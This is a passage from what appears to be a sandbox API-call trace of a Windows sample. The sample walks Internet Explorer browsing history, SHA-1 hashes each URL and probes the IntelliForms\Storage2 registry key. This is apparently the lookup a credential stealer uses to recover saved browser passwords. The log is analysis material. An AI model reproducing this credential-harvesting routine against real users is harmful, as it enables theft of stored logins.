Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.424] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.424] LocalFree (hMem=0x28e7910) returned 0x0 [0097.424] CoTaskMemFree (pv=0x4451990) [0097.424] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.424] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/kdQxTUFVVx.bmp", lpSrch="?") returned 0x0 [0097.424] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.425] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.425] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/kdQxTUFVVx.bmp") returned 66 [0097.425] CryptHashData (hHash=0x4451990, pbData=0x71869f0, dwDataLen=0x86, dwFlags=0x0) returned 1 [0097.425] CryptGetHashParam (in: hHash=0x4451990, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.425] CryptDestroyHash (hHash=0x4451990) returned 1 [0097.425] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.425] CoTaskMemFree (pv=0x71869f0) [0097.425] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.425] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ob40zEva5DRKY8OHuTA.pdf", lpSrch="?") returned 0x0 [0097.425] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.426] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.426] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ob40zEva5DRKY8OHuTA.pdf") returned 73 [0097.426] CryptHashData (hHash=0x7202d50, pbData=0x28c8760, dwDataLen=0x94, dwFlags=0x0) returned 1 [0097.426] CryptGetHashParam (in: hHash=0x7202d50, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.426] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C9") returned 2 [0097.426] lstrlenW (lpString="") returned 0 [0097.426] lstrlenW (lpString="C9") returned 2 [0097.426] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x71869f0 [0097.426] lstrcpyW (in: lpString1=0x71869f0, lpString2="" | out: lpString1="") returned="" [0097.426] lstrcatW (in: lpString1="", lpString2="C9" | out: lpString1="C9") returned="C9" [0097.426] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="47") returned 2 [0097.426] lstrlenW (lpString="C9") returned 2 [0097.426] lstrlenW (lpString="47") returned 2 [0097.426] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c9f20 [0097.426] lstrcpyW (in: lpString1=0x28c9f20, lpString2="C9" | out: lpString1="C9") returned="C9" [0097.426] lstrcatW (in: lpString1="C9", lpString2="47" | out: lpString1="C947") returned="C947" [0097.426] LocalFree (hMem=0x71869f0) returned 0x0 [0097.426] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1B") returned 2 [0097.426] lstrlenW (lpString="C947") returned 4 [0097.426] lstrlenW (lpString="1B") returned 2 [0097.426] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8580 [0097.426] lstrcpyW (in: lpString1=0x28c8580, lpString2="C947" | out: lpString1="C947") returned="C947" [0097.426] lstrcatW (in: lpString1="C947", lpString2="1B" | out: lpString1="C9471B") returned="C9471B" [0097.426] LocalFree (hMem=0x28c9f20) returned 0x0 [0097.426] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="77") returned 2 [0097.426] lstrlenW (lpString="C9471B") returned 6 [0097.426] lstrlenW (lpString="77") returned 2 [0097.426] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c9f20 [0097.426] lstrcpyW (in: lpString1=0x28c9f20, lpString2="C9471B" | out: lpString1="C9471B") returned="C9471B" [0097.426] lstrcatW (in: lpString1="C9471B", lpString2="77" | out: lpString1="C9471B77") returned="C9471B77" [0097.426] LocalFree (hMem=0x28c8580) returned 0x0 [0097.427] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F2") returned 2 [0097.427] lstrlenW (lpString="C9471B77") returned 8 [0097.427] lstrlenW (lpString="F2") returned 2 [0097.427] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8580 [0097.427] lstrcpyW (in: lpString1=0x28c8580, lpString2="C9471B77" | out: lpString1="C9471B77") returned="C9471B77" [0097.427] lstrcatW (in: lpString1="C9471B77", lpString2="F2" | out: lpString1="C9471B77F2") returned="C9471B77F2" [0097.427] LocalFree (hMem=0x28c9f20) returned 0x0 [0097.427] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8F") returned 2 [0097.427] lstrlenW (lpString="C9471B77F2") returned 10 [0097.427] lstrlenW (lpString="8F") returned 2 [0097.427] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x432ec70 [0097.427] lstrcpyW (in: lpString1=0x432ec70, lpString2="C9471B77F2" | out: lpString1="C9471B77F2") returned="C9471B77F2" [0097.427] lstrcatW (in: lpString1="C9471B77F2", lpString2="8F" | out: lpString1="C9471B77F28F") returned="C9471B77F28F" [0097.427] LocalFree (hMem=0x28c8580) returned 0x0 [0097.427] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="39") returned 2 [0097.427] lstrlenW (lpString="C9471B77F28F") returned 12 [0097.427] lstrlenW (lpString="39") returned 2 [0097.427] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x432e380 [0097.427] lstrcpyW (in: lpString1=0x432e380, lpString2="C9471B77F28F" | out: lpString1="C9471B77F28F") returned="C9471B77F28F" [0097.427] lstrcatW (in: lpString1="C9471B77F28F", lpString2="39" | out: lpString1="C9471B77F28F39") returned="C9471B77F28F39" [0097.427] LocalFree (hMem=0x432ec70) returned 0x0 [0097.427] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4F") returned 2 [0097.427] lstrlenW (lpString="C9471B77F28F39") returned 14 [0097.427] lstrlenW (lpString="4F") returned 2 [0097.427] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x432ec70 [0097.427] lstrcpyW (in: lpString1=0x432ec70, lpString2="C9471B77F28F39" | out: lpString1="C9471B77F28F39") returned="C9471B77F28F39" [0097.427] lstrcatW (in: lpString1="C9471B77F28F39", lpString2="4F" | out: lpString1="C9471B77F28F394F") returned="C9471B77F28F394F" [0097.427] LocalFree (hMem=0x432e380) returned 0x0 [0097.427] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0097.427] lstrlenW (lpString="C9471B77F28F394F") returned 16 [0097.427] lstrlenW (lpString="96") returned 2 [0097.427] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x432e380 [0097.427] lstrcpyW (in: lpString1=0x432e380, lpString2="C9471B77F28F394F" | out: lpString1="C9471B77F28F394F") returned="C9471B77F28F394F" [0097.427] lstrcatW (in: lpString1="C9471B77F28F394F", lpString2="96" | out: lpString1="C9471B77F28F394F96") returned="C9471B77F28F394F96" [0097.427] LocalFree (hMem=0x432ec70) returned 0x0 [0097.427] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.427] lstrlenW (lpString="C9471B77F28F394F96") returned 18 [0097.427] lstrlenW (lpString="0C") returned 2 [0097.428] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.428] lstrcpyW (in: lpString1=0x7290b70, lpString2="C9471B77F28F394F96" | out: lpString1="C9471B77F28F394F96") returned="C9471B77F28F394F96" [0097.428] lstrcatW (in: lpString1="C9471B77F28F394F96", lpString2="0C" | out: lpString1="C9471B77F28F394F960C") returned="C9471B77F28F394F960C" [0097.428] LocalFree (hMem=0x432e380) returned 0x0 [0097.428] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C2") returned 2 [0097.428] lstrlenW (lpString="C9471B77F28F394F960C") returned 20 [0097.428] lstrlenW (lpString="C2") returned 2 [0097.428] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.428] lstrcpyW (in: lpString1=0x72912f0, lpString2="C9471B77F28F394F960C" | out: lpString1="C9471B77F28F394F960C") returned="C9471B77F28F394F960C" [0097.428] lstrcatW (in: lpString1="C9471B77F28F394F960C", lpString2="C2" | out: lpString1="C9471B77F28F394F960CC2") returned="C9471B77F28F394F960CC2" [0097.428] LocalFree (hMem=0x7290b70) returned 0x0 [0097.428] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="33") returned 2 [0097.428] lstrlenW (lpString="C9471B77F28F394F960CC2") returned 22 [0097.428] lstrlenW (lpString="33") returned 2 [0097.428] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.428] lstrcpyW (in: lpString1=0x7290b70, lpString2="C9471B77F28F394F960CC2" | out: lpString1="C9471B77F28F394F960CC2") returned="C9471B77F28F394F960CC2" [0097.428] lstrcatW (in: lpString1="C9471B77F28F394F960CC2", lpString2="33" | out: lpString1="C9471B77F28F394F960CC233") returned="C9471B77F28F394F960CC233" [0097.428] LocalFree (hMem=0x72912f0) returned 0x0 [0097.428] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.428] lstrlenW (lpString="C9471B77F28F394F960CC233") returned 24 [0097.428] lstrlenW (lpString="0C") returned 2 [0097.428] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.428] lstrcpyW (in: lpString1=0x72912f0, lpString2="C9471B77F28F394F960CC233" | out: lpString1="C9471B77F28F394F960CC233") returned="C9471B77F28F394F960CC233" [0097.428] lstrcatW (in: lpString1="C9471B77F28F394F960CC233", lpString2="0C" | out: lpString1="C9471B77F28F394F960CC2330C") returned="C9471B77F28F394F960CC2330C" [0097.428] LocalFree (hMem=0x7290b70) returned 0x0 [0097.428] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8F") returned 2 [0097.428] lstrlenW (lpString="C9471B77F28F394F960CC2330C") returned 26 [0097.428] lstrlenW (lpString="8F") returned 2 [0097.428] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.428] lstrcpyW (in: lpString1=0x2815670, lpString2="C9471B77F28F394F960CC2330C" | out: lpString1="C9471B77F28F394F960CC2330C") returned="C9471B77F28F394F960CC2330C" [0097.428] lstrcatW (in: lpString1="C9471B77F28F394F960CC2330C", lpString2="8F" | out: lpString1="C9471B77F28F394F960CC2330C8F") returned="C9471B77F28F394F960CC2330C8F" [0097.428] LocalFree (hMem=0x72912f0) returned 0x0 [0097.428] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="90") returned 2 [0097.428] lstrlenW (lpString="C9471B77F28F394F960CC2330C8F") returned 28 [0097.428] lstrlenW (lpString="90") returned 2 [0097.428] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815740 [0097.428] lstrcpyW (in: lpString1=0x2815740, lpString2="C9471B77F28F394F960CC2330C8F" | out: lpString1="C9471B77F28F394F960CC2330C8F") returned="C9471B77F28F394F960CC2330C8F" [0097.429] lstrcatW (in: lpString1="C9471B77F28F394F960CC2330C8F", lpString2="90" | out: lpString1="C9471B77F28F394F960CC2330C8F90") returned="C9471B77F28F394F960CC2330C8F90" [0097.429] LocalFree (hMem=0x2815670) returned 0x0 [0097.429] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6D") returned 2 [0097.429] lstrlenW (lpString="C9471B77F28F394F960CC2330C8F90") returned 30 [0097.429] lstrlenW (lpString="6D") returned 2 [0097.429] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.429] lstrcpyW (in: lpString1=0x2815670, lpString2="C9471B77F28F394F960CC2330C8F90" | out: lpString1="C9471B77F28F394F960CC2330C8F90") returned="C9471B77F28F394F960CC2330C8F90" [0097.429] lstrcatW (in: lpString1="C9471B77F28F394F960CC2330C8F90", lpString2="6D" | out: lpString1="C9471B77F28F394F960CC2330C8F906D") returned="C9471B77F28F394F960CC2330C8F906D" [0097.429] LocalFree (hMem=0x2815740) returned 0x0 [0097.429] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A8") returned 2 [0097.429] lstrlenW (lpString="C9471B77F28F394F960CC2330C8F906D") returned 32 [0097.429] lstrlenW (lpString="A8") returned 2 [0097.429] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815740 [0097.429] lstrcpyW (in: lpString1=0x2815740, lpString2="C9471B77F28F394F960CC2330C8F906D" | out: lpString1="C9471B77F28F394F960CC2330C8F906D") returned="C9471B77F28F394F960CC2330C8F906D" [0097.429] lstrcatW (in: lpString1="C9471B77F28F394F960CC2330C8F906D", lpString2="A8" | out: lpString1="C9471B77F28F394F960CC2330C8F906DA8") returned="C9471B77F28F394F960CC2330C8F906DA8" [0097.429] LocalFree (hMem=0x2815670) returned 0x0 [0097.429] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E9") returned 2 [0097.429] lstrlenW (lpString="C9471B77F28F394F960CC2330C8F906DA8") returned 34 [0097.429] lstrlenW (lpString="E9") returned 2 [0097.429] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.429] lstrcpyW (in: lpString1=0x28e7910, lpString2="C9471B77F28F394F960CC2330C8F906DA8" | out: lpString1="C9471B77F28F394F960CC2330C8F906DA8") returned="C9471B77F28F394F960CC2330C8F906DA8" [0097.429] lstrcatW (in: lpString1="C9471B77F28F394F960CC2330C8F906DA8", lpString2="E9" | out: lpString1="C9471B77F28F394F960CC2330C8F906DA8E9") returned="C9471B77F28F394F960CC2330C8F906DA8E9" [0097.429] LocalFree (hMem=0x2815740) returned 0x0 [0097.429] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="19") returned 2 [0097.429] lstrlenW (lpString="C9471B77F28F394F960CC2330C8F906DA8E9") returned 36 [0097.429] lstrlenW (lpString="19") returned 2 [0097.429] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.429] lstrcpyW (in: lpString1=0x28e7670, lpString2="C9471B77F28F394F960CC2330C8F906DA8E9" | out: lpString1="C9471B77F28F394F960CC2330C8F906DA8E9") returned="C9471B77F28F394F960CC2330C8F906DA8E9" [0097.429] lstrcatW (in: lpString1="C9471B77F28F394F960CC2330C8F906DA8E9", lpString2="19" | out: lpString1="C9471B77F28F394F960CC2330C8F906DA8E919") returned="C9471B77F28F394F960CC2330C8F906DA8E919" [0097.429] LocalFree (hMem=0x28e7910) returned 0x0 [0097.429] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1C") returned 2 [0097.429] lstrlenW (lpString="C9471B77F28F394F960CC2330C8F906DA8E919") returned 38 [0097.429] lstrlenW (lpString="1C") returned 2 [0097.429] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.429] lstrcpyW (in: lpString1=0x28e7910, lpString2="C9471B77F28F394F960CC2330C8F906DA8E919" | out: lpString1="C9471B77F28F394F960CC2330C8F906DA8E919") returned="C9471B77F28F394F960CC2330C8F906DA8E919" [0097.429] lstrcatW (in: lpString1="C9471B77F28F394F960CC2330C8F906DA8E919", lpString2="1C" | out: lpString1="C9471B77F28F394F960CC2330C8F906DA8E9191C") returned="C9471B77F28F394F960CC2330C8F906DA8E9191C" [0097.429] LocalFree (hMem=0x28e7670) returned 0x0 [0097.430] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A0") returned 2 [0097.430] lstrlenW (lpString="C9471B77F28F394F960CC2330C8F906DA8E9191C") returned 40 [0097.430] lstrlenW (lpString="A0") returned 2 [0097.430] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.430] lstrcpyW (in: lpString1=0x28e7670, lpString2="C9471B77F28F394F960CC2330C8F906DA8E9191C" | out: lpString1="C9471B77F28F394F960CC2330C8F906DA8E9191C") returned="C9471B77F28F394F960CC2330C8F906DA8E9191C" [0097.430] lstrcatW (in: lpString1="C9471B77F28F394F960CC2330C8F906DA8E9191C", lpString2="A0" | out: lpString1="C9471B77F28F394F960CC2330C8F906DA8E9191CA0") returned="C9471B77F28F394F960CC2330C8F906DA8E9191CA0" [0097.430] LocalFree (hMem=0x28e7910) returned 0x0 [0097.430] CryptDestroyHash (hHash=0x7202d50) returned 1 [0097.430] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.430] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.430] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.430] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.430] LocalFree (hMem=0x28e7670) returned 0x0 [0097.430] CoTaskMemFree (pv=0x28c8760) [0097.430] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.430] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/L9zPPc-Yrgy3.flv", lpSrch="?") returned 0x0 [0097.430] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.431] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.431] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/L9zPPc-Yrgy3.flv") returned 50 [0097.431] CryptHashData (hHash=0x4451370, pbData=0x4451a00, dwDataLen=0x66, dwFlags=0x0) returned 1 [0097.431] CryptGetHashParam (in: hHash=0x4451370, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.431] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="52") returned 2 [0097.431] lstrlenW (lpString="") returned 0 [0097.431] lstrlenW (lpString="52") returned 2 [0097.431] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7223b60 [0097.431] lstrcpyW (in: lpString1=0x7223b60, lpString2="" | out: lpString1="") returned="" [0097.431] lstrcatW (in: lpString1="", lpString2="52" | out: lpString1="52") returned="52" [0097.431] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3F") returned 2 [0097.431] lstrlenW (lpString="52") returned 2 [0097.431] lstrlenW (lpString="3F") returned 2 [0097.431] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8760 [0097.431] lstrcpyW (in: lpString1=0x28c8760, lpString2="52" | out: lpString1="52") returned="52" [0097.431] lstrcatW (in: lpString1="52", lpString2="3F" | out: lpString1="523F") returned="523F" [0097.431] LocalFree (hMem=0x7223b60) returned 0x0 [0097.431] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="99") returned 2 [0097.431] lstrlenW (lpString="523F") returned 4 [0097.431] lstrlenW (lpString="99") returned 2 [0097.431] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8580 [0097.431] lstrcpyW (in: lpString1=0x28c8580, lpString2="523F" | out: lpString1="523F") returned="523F" [0097.431] lstrcatW (in: lpString1="523F", lpString2="99" | out: lpString1="523F99") returned="523F99" [0097.431] LocalFree (hMem=0x28c8760) returned 0x0 [0097.431] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0F") returned 2 [0097.431] lstrlenW (lpString="523F99") returned 6 [0097.431] lstrlenW (lpString="0F") returned 2 [0097.431] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8760 [0097.431] lstrcpyW (in: lpString1=0x28c8760, lpString2="523F99" | out: lpString1="523F99") returned="523F99" [0097.432] lstrcatW (in: lpString1="523F99", lpString2="0F" | out: lpString1="523F990F") returned="523F990F" [0097.432] LocalFree (hMem=0x28c8580) returned 0x0 [0097.432] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="00") returned 2 [0097.432] lstrlenW (lpString="523F990F") returned 8 [0097.432] lstrlenW (lpString="00") returned 2 [0097.432] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8580 [0097.432] lstrcpyW (in: lpString1=0x28c8580, lpString2="523F990F" | out: lpString1="523F990F") returned="523F990F" [0097.432] lstrcatW (in: lpString1="523F990F", lpString2="00" | out: lpString1="523F990F00") returned="523F990F00" [0097.432] LocalFree (hMem=0x28c8760) returned 0x0 [0097.432] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="80") returned 2 [0097.432] lstrlenW (lpString="523F990F00") returned 10 [0097.432] lstrlenW (lpString="80") returned 2 [0097.432] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x432e380 [0097.432] lstrcpyW (in: lpString1=0x432e380, lpString2="523F990F00" | out: lpString1="523F990F00") returned="523F990F00" [0097.432] lstrcatW (in: lpString1="523F990F00", lpString2="80" | out: lpString1="523F990F0080") returned="523F990F0080" [0097.432] LocalFree (hMem=0x28c8580) returned 0x0 [0097.432] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FF") returned 2 [0097.432] lstrlenW (lpString="523F990F0080") returned 12 [0097.432] lstrlenW (lpString="FF") returned 2 [0097.432] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x432ec70 [0097.432] lstrcpyW (in: lpString1=0x432ec70, lpString2="523F990F0080" | out: lpString1="523F990F0080") returned="523F990F0080" [0097.432] lstrcatW (in: lpString1="523F990F0080", lpString2="FF" | out: lpString1="523F990F0080FF") returned="523F990F0080FF" [0097.432] LocalFree (hMem=0x432e380) returned 0x0 [0097.432] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="70") returned 2 [0097.432] lstrlenW (lpString="523F990F0080FF") returned 14 [0097.432] lstrlenW (lpString="70") returned 2 [0097.432] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x432e380 [0097.432] lstrcpyW (in: lpString1=0x432e380, lpString2="523F990F0080FF" | out: lpString1="523F990F0080FF") returned="523F990F0080FF" [0097.432] lstrcatW (in: lpString1="523F990F0080FF", lpString2="70" | out: lpString1="523F990F0080FF70") returned="523F990F0080FF70" [0097.432] LocalFree (hMem=0x432ec70) returned 0x0 [0097.432] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7C") returned 2 [0097.432] lstrlenW (lpString="523F990F0080FF70") returned 16 [0097.432] lstrlenW (lpString="7C") returned 2 [0097.432] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x432ec70 [0097.432] lstrcpyW (in: lpString1=0x432ec70, lpString2="523F990F0080FF70" | out: lpString1="523F990F0080FF70") returned="523F990F0080FF70" [0097.432] lstrcatW (in: lpString1="523F990F0080FF70", lpString2="7C" | out: lpString1="523F990F0080FF707C") returned="523F990F0080FF707C" [0097.432] LocalFree (hMem=0x432e380) returned 0x0 [0097.432] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8D") returned 2 [0097.433] lstrlenW (lpString="523F990F0080FF707C") returned 18 [0097.433] lstrlenW (lpString="8D") returned 2 [0097.433] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.433] lstrcpyW (in: lpString1=0x72912f0, lpString2="523F990F0080FF707C" | out: lpString1="523F990F0080FF707C") returned="523F990F0080FF707C" [0097.433] lstrcatW (in: lpString1="523F990F0080FF707C", lpString2="8D" | out: lpString1="523F990F0080FF707C8D") returned="523F990F0080FF707C8D" [0097.433] LocalFree (hMem=0x432ec70) returned 0x0 [0097.433] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="56") returned 2 [0097.433] lstrlenW (lpString="523F990F0080FF707C8D") returned 20 [0097.433] lstrlenW (lpString="56") returned 2 [0097.433] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.433] lstrcpyW (in: lpString1=0x7290b70, lpString2="523F990F0080FF707C8D" | out: lpString1="523F990F0080FF707C8D") returned="523F990F0080FF707C8D" [0097.433] lstrcatW (in: lpString1="523F990F0080FF707C8D", lpString2="56" | out: lpString1="523F990F0080FF707C8D56") returned="523F990F0080FF707C8D56" [0097.433] LocalFree (hMem=0x72912f0) returned 0x0 [0097.433] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2B") returned 2 [0097.433] lstrlenW (lpString="523F990F0080FF707C8D56") returned 22 [0097.433] lstrlenW (lpString="2B") returned 2 [0097.433] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.433] lstrcpyW (in: lpString1=0x72912f0, lpString2="523F990F0080FF707C8D56" | out: lpString1="523F990F0080FF707C8D56") returned="523F990F0080FF707C8D56" [0097.433] lstrcatW (in: lpString1="523F990F0080FF707C8D56", lpString2="2B" | out: lpString1="523F990F0080FF707C8D562B") returned="523F990F0080FF707C8D562B" [0097.433] LocalFree (hMem=0x7290b70) returned 0x0 [0097.433] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="26") returned 2 [0097.433] lstrlenW (lpString="523F990F0080FF707C8D562B") returned 24 [0097.433] lstrlenW (lpString="26") returned 2 [0097.433] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.433] lstrcpyW (in: lpString1=0x7290b70, lpString2="523F990F0080FF707C8D562B" | out: lpString1="523F990F0080FF707C8D562B") returned="523F990F0080FF707C8D562B" [0097.433] lstrcatW (in: 